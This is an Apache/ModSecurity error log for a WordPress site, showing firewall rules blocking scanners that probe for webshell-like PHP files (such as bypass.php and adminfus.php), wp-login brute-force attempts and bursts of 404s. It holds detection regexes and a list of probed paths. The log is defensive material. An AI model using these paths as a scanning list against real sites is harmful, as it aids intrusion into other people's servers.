[Thu Apr 23 09:54:50.871479 2026] [:error] [pid 43083:tid 43098] [client 91.230.225.13:56599] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "ael76jC5hrvNXosL83IU8wAAAM0"]
[Thu Apr 23 09:54:51.445197 2026] [:error] [pid 42973:tid 43059] [client 91.230.225.18:55935] [client 91.230.225.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "ael7626I0QqmmmLTHE3wBgAAAJA"]
[Thu Apr 23 09:54:52.000155 2026] [:error] [pid 43083:tid 43090] [client 91.230.225.10:37869] [client 91.230.225.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "ael76zC5hrvNXosL83IU-wAAAMU"]
[Thu Apr 23 09:54:53.086134 2026] [:error] [pid 43083:tid 43104] [client 91.230.225.11:43223] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "ael77TC5hrvNXosL83IVCAAAANM"]
[Thu Apr 23 09:54:53.622134 2026] [:error] [pid 43083:tid 43091] [client 185.192.71.28:41531] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "ael77TC5hrvNXosL83IVDwAAAMY"]
[Thu Apr 23 09:54:54.176092 2026] [:error] [pid 59700:tid 59719] [client 185.192.71.30:64429] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "ael77pXyGZJFeAIDWtmSuwAAAVE"]
[Thu Apr 23 09:54:54.732155 2026] [:error] [pid 42973:tid 43063] [client 91.230.225.199:38741] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "ael77m6I0QqmmmLTHE3wIQAAAJQ"]
[Thu Apr 23 09:54:55.316515 2026] [:error] [pid 42972:tid 43038] [client 185.192.71.27:59089] [client 185.192.71.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "ael778OAb-3sOknsk4dCsgAAAFY"]
[Thu Apr 23 09:54:55.873151 2026] [proxy_fcgi:error] [pid 42973:tid 43061] [client 185.192.71.21:64987] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:56.701931 2026] [:error] [pid 42973:tid 43063] [client 185.192.71.21:64987] [client 185.192.71.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.21, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "ael78G6I0QqmmmLTHE3wQAAAAJQ"]
[Thu Apr 23 09:54:58.093711 2026] [:error] [pid 42973:tid 43055] [client 185.192.71.21:64987] [client 185.192.71.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "ael78m6I0QqmmmLTHE3wUQAAAIw"]
[Thu Apr 23 09:54:59.217723 2026] [proxy_fcgi:error] [pid 42972:tid 43023] [client 91.230.225.23:35397] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:54:59.498433 2026] [proxy_fcgi:error] [pid 42972:tid 43020] [client 91.230.225.23:35397] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:55:00.681338 2026] [proxy_fcgi:error] [pid 42972:tid 43025] [client 91.230.225.23:35397] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:55:00.961316 2026] [proxy_fcgi:error] [pid 42972:tid 43040] [client 91.230.225.23:35397] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:55:02.261303 2026] [proxy_fcgi:error] [pid 42972:tid 43040] [client 91.230.225.23:35397] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:55:02.590319 2026] [proxy_fcgi:error] [pid 42972:tid 43024] [client 91.230.225.23:35397] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:55:02.868305 2026] [proxy_fcgi:error] [pid 42972:tid 43037] [client 91.230.225.23:35397] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:55:03.182317 2026] [proxy_fcgi:error] [pid 42972:tid 43022] [client 91.230.225.23:35397] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:55:03.484743 2026] [:error] [pid 42972:tid 43031] [client 91.230.225.23:35397] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "ael798OAb-3sOknsk4dDDQAAAE8"]
[Thu Apr 23 09:55:04.045375 2026] [:error] [pid 43083:tid 43097] [client 185.192.71.40:58535] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "ael7-DC5hrvNXosL83IVfAAAAMw"]
[Thu Apr 23 09:55:04.608940 2026] [:error] [pid 43083:tid 43108] [client 91.230.225.202:64989] [client 91.230.225.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "ael7-DC5hrvNXosL83IVgAAAANc"]
[Thu Apr 23 09:55:10.023300 2026] [proxy_fcgi:error] [pid 43083:tid 43105] [client 91.230.225.205:40685] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:55:10.304077 2026] [proxy_fcgi:error] [pid 43083:tid 43086] [client 91.230.225.205:40685] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:55:10.866297 2026] [proxy_fcgi:error] [pid 43083:tid 43092] [client 91.230.225.205:40685] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:55:11.414954 2026] [:error] [pid 43083:tid 43101] [client 91.230.225.205:40685] [client 91.230.225.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "ael7_zC5hrvNXosL83IVyAAAANA"]
[Thu Apr 23 09:55:11.957976 2026] [:error] [pid 64998:tid 65009] [client 91.230.225.15:41257] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "ael7_4V5EysYcTLjmwh5AgAAAcc"]
[Thu Apr 23 09:55:12.492002 2026] [:error] [pid 42972:tid 43023] [client 185.192.71.37:44867] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "ael8AMOAb-3sOknsk4dDOgAAAEc"]
[Thu Apr 23 09:55:14.223757 2026] [:error] [pid 25635:tid 25654] [client 185.192.71.35:51759] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "ael8AsRxv6UsgRGKB3L5mgAAAQ8"]
[Thu Apr 23 09:55:15.053780 2026] [:error] [pid 65000:tid 65039] [client 91.230.225.200:48531] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "ael8A76vRb9j6psK2Zb94QAAAgY"]
[Thu Apr 23 09:55:31.084246 2026] [autoindex:error] [pid 65000:tid 65057] [client 91.230.225.11:32615] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 09:56:03.848038 2026] [autoindex:error] [pid 65000:tid 65046] [client 91.230.225.11:32615] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 10:40:23.394406 2026] [proxy_fcgi:error] [pid 59700:tid 59706] [client 20.216.138.65:54468] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:40:23.655839 2026] [proxy_fcgi:error] [pid 59700:tid 59723] [client 20.216.138.65:54468] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:40:23.916954 2026] [proxy_fcgi:error] [pid 59700:tid 59724] [client 20.216.138.65:54468] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:40:24.178114 2026] [proxy_fcgi:error] [pid 59700:tid 59720] [client 20.216.138.65:54468] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:40:24.439863 2026] [proxy_fcgi:error] [pid 59700:tid 59705] [client 20.216.138.65:54468] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:40:24.700481 2026] [proxy_fcgi:error] [pid 59700:tid 59722] [client 20.216.138.65:54468] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:40:25.221603 2026] [proxy_fcgi:error] [pid 59700:tid 59717] [client 20.216.138.65:54468] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:40:25.484999 2026] [proxy_fcgi:error] [pid 59700:tid 59726] [client 20.216.138.65:54468] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:40:25.746896 2026] [proxy_fcgi:error] [pid 59700:tid 59719] [client 20.216.138.65:54468] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:40:26.006093 2026] [:error] [pid 59700:tid 59712] [client 20.216.138.65:54468] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aemGmpXyGZJFeAIDWtmxIAAAAUo"]
[Thu Apr 23 10:40:26.493471 2026] [:error] [pid 64967:tid 64971] [client 20.216.138.65:36130] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aemGmoAV4GfOOdX8Qzo_pQAAAYI"]
[Thu Apr 23 10:40:27.059132 2026] [:error] [pid 65000:tid 65037] [client 20.216.138.65:36096] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aemGm76vRb9j6psK2ZY2LQAAAgQ"]
[Thu Apr 23 10:40:27.585012 2026] [:error] [pid 42972:tid 43031] [client 20.216.138.65:54469] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aemGm8OAb-3sOknsk4dW0AAAAE8"]
[Thu Apr 23 10:40:28.087464 2026] [:error] [pid 42972:tid 43026] [client 20.216.138.65:36133] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aemGnMOAb-3sOknsk4dW0gAAAEo"]
[Thu Apr 23 10:40:28.569053 2026] [:error] [pid 64998:tid 65007] [client 20.216.138.65:54506] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aemGnIV5EysYcTLjmwikRAAAAcU"]
[Thu Apr 23 10:40:29.132140 2026] [:error] [pid 42972:tid 43033] [client 20.216.138.65:36111] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aemGncOAb-3sOknsk4dW1wAAAFE"]
[Thu Apr 23 10:40:29.622936 2026] [:error] [pid 59700:tid 59718] [client 20.216.138.65:36140] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aemGnZXyGZJFeAIDWtmxIQAAAVA"]
[Thu Apr 23 10:40:30.092055 2026] [:error] [pid 65000:tid 65032] [client 20.216.138.65:36103] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aemGnr6vRb9j6psK2ZY2MAAAAgM"]
[Thu Apr 23 10:40:30.577553 2026] [:error] [pid 42972:tid 43039] [client 20.216.138.65:54476] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aemGnsOAb-3sOknsk4dW2AAAAFc"]
[Thu Apr 23 10:40:31.110772 2026] [:error] [pid 42972:tid 43037] [client 20.216.138.65:36112] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aemGn8OAb-3sOknsk4dW2wAAAFU"]
[Thu Apr 23 10:40:31.640685 2026] [:error] [pid 59700:tid 59716] [client 20.216.138.65:54482] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aemGn5XyGZJFeAIDWtmxJAAAAU4"]
[Thu Apr 23 10:40:32.124913 2026] [:error] [pid 59700:tid 59710] [client 20.216.138.65:54489] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aemGoJXyGZJFeAIDWtmxJQAAAUg"]
[Thu Apr 23 10:40:32.639824 2026] [:error] [pid 59700:tid 59723] [client 20.216.138.65:34339] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aemGoJXyGZJFeAIDWtmxKQAAAVU"]
[Thu Apr 23 10:40:33.133835 2026] [:error] [pid 64998:tid 65020] [client 20.216.138.65:54518] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aemGoYV5EysYcTLjmwikRwAAAdI"]
[Thu Apr 23 10:40:33.671144 2026] [:error] [pid 42973:tid 43061] [client 20.216.138.65:54466] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aemGoW6I0QqmmmLTHE0duwAAAJI"]
[Thu Apr 23 10:40:34.253088 2026] [:error] [pid 42973:tid 43049] [client 20.216.138.65:36127] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aemGom6I0QqmmmLTHE0dvQAAAIY"]
[Thu Apr 23 10:40:34.759845 2026] [:error] [pid 42973:tid 43043] [client 20.216.138.65:54510] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aemGom6I0QqmmmLTHE0dvgAAAIA"]
[Thu Apr 23 10:40:35.393759 2026] [:error] [pid 65000:tid 65055] [client 20.216.138.65:54502] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aemGo76vRb9j6psK2ZY2NgAAAhY"]
[Thu Apr 23 10:40:36.007738 2026] [:error] [pid 42973:tid 43044] [client 20.216.138.65:54513] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aemGpG6I0QqmmmLTHE0dwAAAAIE"]
[Thu Apr 23 10:40:36.574427 2026] [:error] [pid 43083:tid 43096] [client 20.216.138.65:54477] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aemGpDC5hrvNXosL83IvfQAAAMs"]
[Thu Apr 23 10:40:37.177362 2026] [:error] [pid 42973:tid 43059] [client 20.216.138.65:34343] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aemGpW6I0QqmmmLTHE0dxQAAAJA"]
[Thu Apr 23 10:40:37.798110 2026] [:error] [pid 64998:tid 65006] [client 20.216.138.65:36108] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aemGpYV5EysYcTLjmwikSwAAAcQ"]
[Thu Apr 23 10:40:38.384312 2026] [:error] [pid 46953:tid 46963] [client 20.216.138.65:54526] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aemGpknlpdHh-P6wKbradQAAAkc"]
[Thu Apr 23 10:40:38.985580 2026] [:error] [pid 64998:tid 65019] [client 20.216.138.65:54524] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aemGpoV5EysYcTLjmwikTAAAAdE"]
[Thu Apr 23 10:40:39.518395 2026] [:error] [pid 64998:tid 65003] [client 20.216.138.65:54493] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aemGp4V5EysYcTLjmwikTQAAAcE"]
[Thu Apr 23 10:40:40.030076 2026] [:error] [pid 43083:tid 43102] [client 20.216.138.65:54472] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aemGqDC5hrvNXosL83IvfwAAANE"]
[Thu Apr 23 10:40:40.611327 2026] [:error] [pid 64998:tid 65026] [client 20.216.138.65:36141] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aemGqIV5EysYcTLjmwikTgAAAdg"]
[Thu Apr 23 10:40:41.222043 2026] [:error] [pid 42971:tid 42987] [client 20.216.138.65:36123] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aemGqTEP2_5RswrH8bHvsgAAAAE"]
